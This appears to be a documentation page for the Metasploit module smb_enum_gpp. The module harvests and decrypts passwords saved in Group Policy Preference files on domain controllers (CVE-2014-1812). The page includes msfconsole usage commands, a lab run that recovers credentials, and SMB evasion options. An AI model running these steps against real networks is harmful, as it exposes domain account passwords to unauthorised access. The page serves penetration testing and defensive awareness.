SMB Group Policy Preference Saved Passwords Enumeration - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/smb/smb_enum_gpp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: SMB Group Policy Preference Saved Passwords Enumeration
Module: auxiliary/scanner/smb/smb_enum_gpp
Source code: modules/auxiliary/scanner/smb/smb_enum_gpp.rb
Disclosure date: -
Last modification time: 2021-08-17 22:10:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2014-1812

This module enumerates files from target domain controllers and connects to them via SMB. It then looks for Group Policy Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsoft's public AES key. This module has been tested successfully on a Win2k8 R2 Domain Controller.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/smb/smb_enum_gpp
msf auxiliary(smb_enum_gpp) > show options
    ... show and set options ...
msf auxiliary(smb_enum_gpp) > set RHOSTS ip-range
msf auxiliary(smb_enum_gpp) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(smb_enum_gpp) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(smb_enum_gpp) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(smb_enum_gpp) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module enumerates files from target domain controllers and connects to them via SMB. It then looks for Group Policy Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsoft's public AES key. This module has been tested successfully on a Win2k8 R2 Domain Controller.

Test Environment

This vulnerability was patched in 2014 but Group Policy Prefence files can still be found in modern environments. Because of that it is necessary to have a means to test this vulnerability in a contrived way.

Starting from a Windows Server that has been configured as an Active Directory Domain Controller: 1. Navigate to: %SystemRoot%\SYSVOL\sysvol\$domain\Policies where $domain is the name of the domain. 1. Create a subfolder. These folders typically use UUIDs within braces (e.g. {31B2F340-016D-11D2-945F-00C04FB984F9}) but the name does not matter for testing purposes. 1. In the new a new file (and the necessary parent folders) MACHINE\Preferences\Groups\Groups.xml. 1. Place the contents below in the new Groups.xml file.

<xml version="1.0" encoding="utf-8"?>

    
        
    

This example XML data was taken from the unit test.

Verification Steps


Example steps in this format (is also in the PR):

  1. Start msfconsole
  2. Do: use auxiliary/scanner/smb/smb_enum_gpp
  3. Do: set RHOSTS ...
  4. Do: set SMBUser ...
  5. Do: set SMBPass ...
  6. Do: run

Windows Server 2019 (Test Setup)

The following example use the contrived setup from the "Test Environment" section.

msf6 auxiliary(scanner/smb/smb_enum_gpp) > use auxiliary/scanner/smb/smb_enum_gpp 
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBUSER smcintyre
SMBUSER => smcintyre
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBPass Password1
SMBPass => Password1
msf6 auxiliary(scanner/smb/smb_enum_gpp) > run

[*] 192.168.159.10:445    - Connecting to the server...
[*] 192.168.159.10:445    - Mounting the remote share \\192.168.159.10\SYSVOL'...
[+] 192.168.159.10:445    - Found Policy Share on 192.168.159.10
[*] 192.168.159.10:445    - Parsing file: \\192.168.159.10\SYSVOL\msflab.local\Policies\fake\MACHINE\Preferences\Groups\Groups.xml
[+] 192.168.159.10:445    - Group Policy Credential Info
============================

 Name               Value
 ----               -----
 TYPE               Groups.xml
 USERNAME           SuperSecretBackdoor
 PASSWORD           Super!!!Password
 DOMAIN CONTROLLER  192.168.159.10
 DOMAIN             msflab.local
 CHANGED            2013-04-25 18:36:07
 NEVER_EXPIRES?     1
 DISABLED           0

[+] 192.168.159.10:445    - XML file saved to: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_microsoft.window_053830.txt
[+] 192.168.159.10:445    - Groups.xml saved as: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_smb.shares.file_279441.xml
[*] 192.168.159.10:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_enum_gpp) >

Go back to menu.

Msfconsole Usage


Here is how the scanner/smb/smb_enum_gpp auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/smb/smb_enum_gpp

msf6 auxiliary(scanner/smb/smb_enum_gpp) > show info

       Name: SMB Group Policy Preference Saved Passwords Enumeration
     Module: auxiliary/scanner/smb/smb_enum_gpp
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Joshua D. Abraham <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      445              yes       The Target port (TCP)
  SMBDomain  .                no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBSHARE   SYSVOL           yes       The name of the share on the server
  SMBUser                     no        The username to authenticate as
  STORE      true             yes       Store the enumerated files in loot.
  THREADS    1                yes       The number of concurrent threads (max one per host)

Description:
  This module enumerates files from target domain controllers and 
  connects to them via SMB. It then looks for Group Policy Preference 
  XML files containing local/domain user accounts and passwords and 
  decrypts them using Microsoft's public AES key. This module has been 
  tested successfully on a Win2k8 R2 Domain Controller.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-1812
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/MS14-025
  http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)
  http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
  http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx
  https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/

Module Options


This is a complete list of options available in the scanner/smb/smb_enum_gpp auxiliary module:

msf6 auxiliary(scanner/smb/smb_enum_gpp) > show options

Module options (auxiliary/scanner/smb/smb_enum_gpp):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      445              yes       The Target port (TCP)
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBSHARE   SYSVOL           yes       The name of the share on the server
   SMBUser                     no        The username to authenticate as
   STORE      true             yes       Store the enumerated files in loot.
   THREADS    1                yes       The number of concurrent threads (max one per host)

Advanced Options


Here is a complete list of advanced options supported by the scanner/smb/smb_enum_gpp auxiliary module:

msf6 auxiliary(scanner/smb/smb_enum_gpp) > show advanced

Module advanced options (auxiliary/scanner/smb/smb_enum_gpp):

   Name                    Current Setting    Required  Description
   ----                    ---------------    --------  -----------
   CHOST                                      no        The local client address
   CPORT                                      no        The local client port
   ConnectTimeout          10                 yes       Maximum number of seconds to establish a TCP connection
   NTLM::SendLM            true               yes       Always send the LANMAN response (except when NTLMv2_session is specified)
   NTLM::SendNTLM          true               yes       Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
   NTLM::SendSPN           true               yes       Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
   NTLM::UseLMKey          false              yes       Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
   NTLM::UseNTLM2_session  true               yes       Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
   NTLM::UseNTLMv2         true               yes       Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
   Proxies                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   SMB::AlwaysEncrypt      true               yes       Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
   SMB::ChunkSize          500                yes       The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
   SMB::Native_LM          Windows 2000 5.0   yes       The Native LM to send during authentication
   SMB::Native_OS          Windows 2000 2195  yes       The Native OS to send during authentication
   SMB::ProtocolVersion    1,2,3              yes       One or a list of coma-separated SMB protocol versions to negotiate (e.g. "1" or "1,2" or "2,3,1")
   SMB::VerifySignature    false              yes       Enforces client-side verification of server response signatures
   SMBDirect               true               no        The target port is a raw SMB service (not NetBIOS)
   SMBName                 *SMBSERVER         yes       The NetBIOS hostname (required for port 139 connections)
   SSL                     false              no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                  no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER               no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto               yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress            true               yes       Display progress messages during a scan
   ShowProgressPercent     10                 yes       The interval in percent that progress should be shown
   VERBOSE                 false              no        Enable detailed status messages
   WORKSPACE                                  no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/smb/smb_enum_gpp module can do:

msf6 auxiliary(scanner/smb/smb_enum_gpp) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/smb/smb_enum_gpp auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/smb/smb_enum_gpp) > show evasion

Module evasion options:

   Name                           Current Setting  Required  Description
   ----                           ---------------  --------  -----------
   SMB::obscure_trans_pipe_level  0                yes       Obscure PIPE string in TransNamedPipe (level 0-3)
   SMB::pad_data_level            0                yes       Place extra padding between headers and data (level 0-3)
   SMB::pad_file_level            0                yes       Obscure path names used in open/create (level 0-3)
   SMB::pipe_evasion              false            yes       Enable segmented read/writes for SMB Pipes
   SMB::pipe_read_max_size        1024             yes       Maximum buffer size for pipe reads
   SMB::pipe_read_min_size        1                yes       Minimum buffer size for pipe reads
   SMB::pipe_write_max_size       1024             yes       Maximum buffer size for pipe writes
   SMB::pipe_write_min_size       1                yes       Minimum buffer size for pipe writes
   TCP::max_send_size             0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay                0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Object \\<IP>\<SMBSHARE>\<PATH> NOT found!


Here is a relevant code snippet related to the "Object \\<IP>\<SMBSHARE>\<PATH> NOT found!" error message:

54:	    rescue ::RubySMB::Error::UnexpectedStatusCode => e
55:	      case e.status_code.name
56:	      when 'STATUS_FILE_IS_A_DIRECTORY'
57:	        print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}")
58:	      when 'STATUS_OBJECT_NAME_NOT_FOUND'
59:	        vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
60:	      when 'STATUS_OBJECT_PATH_NOT_FOUND'
61:	        vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
62:	      when 'STATUS_ACCESS_DENIED'
63:	       vprint_error("Host reports access denied.")
64:	      when 'STATUS_BAD_NETWORK_NAME'

Object PATH \\<IP>\<SMBSHARE>\<PATH> NOT found!


Here is a relevant code snippet related to the "Object PATH \\<IP>\<SMBSHARE>\<PATH> NOT found!" error message:

56:	      when 'STATUS_FILE_IS_A_DIRECTORY'
57:	        print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}")
58:	      when 'STATUS_OBJECT_NAME_NOT_FOUND'
59:	        vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
60:	      when 'STATUS_OBJECT_PATH_NOT_FOUND'
61:	        vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
62:	      when 'STATUS_ACCESS_DENIED'
63:	       vprint_error("Host reports access denied.")
64:	      when 'STATUS_BAD_NETWORK_NAME'
65:	        vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")
66:	      when 'STATUS_INSUFF_SERVER_RESOURCES'

Host reports access denied.


Here is a relevant code snippet related to the "Host reports access denied." error message:

58:	      when 'STATUS_OBJECT_NAME_NOT_FOUND'
59:	        vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
60:	      when 'STATUS_OBJECT_PATH_NOT_FOUND'
61:	        vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
62:	      when 'STATUS_ACCESS_DENIED'
63:	       vprint_error("Host reports access denied.")
64:	      when 'STATUS_BAD_NETWORK_NAME'
65:	        vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")
66:	      when 'STATUS_INSUFF_SERVER_RESOURCES'
67:	        vprint_error("Host rejected with insufficient resources!")
68:	      when 'STATUS_OBJECT_NAME_INVALID'

Host is NOT connected to <SMBDOMAIN>!


Here is a relevant code snippet related to the "Host is NOT connected to <SMBDOMAIN>!" error message:

60:	      when 'STATUS_OBJECT_PATH_NOT_FOUND'
61:	        vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
62:	      when 'STATUS_ACCESS_DENIED'
63:	       vprint_error("Host reports access denied.")
64:	      when 'STATUS_BAD_NETWORK_NAME'
65:	        vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")
66:	      when 'STATUS_INSUFF_SERVER_RESOURCES'
67:	        vprint_error("Host rejected with insufficient resources!")
68:	      when 'STATUS_OBJECT_NAME_INVALID'
69:	        vprint_error("opening #{path.inspect} bad filename")
70:	      else

Host rejected with insufficient resources!


Here is a relevant code snippet related to the "Host rejected with insufficient resources!" error message:

62:	      when 'STATUS_ACCESS_DENIED'
63:	       vprint_error("Host reports access denied.")
64:	      when 'STATUS_BAD_NETWORK_NAME'
65:	        vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")
66:	      when 'STATUS_INSUFF_SERVER_RESOURCES'
67:	        vprint_error("Host rejected with insufficient resources!")
68:	      when 'STATUS_OBJECT_NAME_INVALID'
69:	        vprint_error("opening #{path.inspect} bad filename")
70:	      else
71:	        vprint_error("Server responded unexpected status code: #{e.status_code.name.inspect}")
72:	      end

opening <PATH.INSPECT> bad filename


Here is a relevant code snippet related to the "opening <PATH.INSPECT> bad filename" error message:

64:	      when 'STATUS_BAD_NETWORK_NAME'
65:	        vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")
66:	      when 'STATUS_INSUFF_SERVER_RESOURCES'
67:	        vprint_error("Host rejected with insufficient resources!")
68:	      when 'STATUS_OBJECT_NAME_INVALID'
69:	        vprint_error("opening #{path.inspect} bad filename")
70:	      else
71:	        vprint_error("Server responded unexpected status code: #{e.status_code.name.inspect}")
72:	      end
73:	    ensure
74:	      fd.close unless fd.nil?

Server responded unexpected status code: <E.STATUS_CODE.NAME.INSPECT>


Here is a relevant code snippet related to the "Server responded unexpected status code: <E.STATUS_CODE.NAME.INSPECT>" error message:

66:	      when 'STATUS_INSUFF_SERVER_RESOURCES'
67:	        vprint_error("Host rejected with insufficient resources!")
68:	      when 'STATUS_OBJECT_NAME_INVALID'
69:	        vprint_error("opening #{path.inspect} bad filename")
70:	      else
71:	        vprint_error("Server responded unexpected status code: #{e.status_code.name.inspect}")
72:	      end
73:	    ensure
74:	      fd.close unless fd.nil?
75:	    end
76:	  end

Could not find the domain folder


Here is a relevant code snippet related to the "Could not find the domain folder" error message:

168:	      smb_login
169:	      print_status("Mounting the remote share \\\\#{ip}\\#{datastore['SMBSHARE']}'...")
170:	      tree = simple.client.tree_connect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
171:	
172:	      corp_domain = tree.list.map { |entry| entry.file_name.value.to_s.encode }.detect { |entry| entry != '.' && entry != '..' }
173:	      fail_with(Failure::NotFound, 'Could not find the domain folder') if corp_domain.nil?
174:	
175:	      sub_folders = tree.list(directory: "#{corp_domain}\\Policies").map { |entry| entry.file_name.value.to_s.encode }
176:	
177:	      gpp_locations = %w(
178:	        MACHINE\\Preferences\\Groups\\Groups.xml

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Joshua D. Abraham <jabra[at]praetorian.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.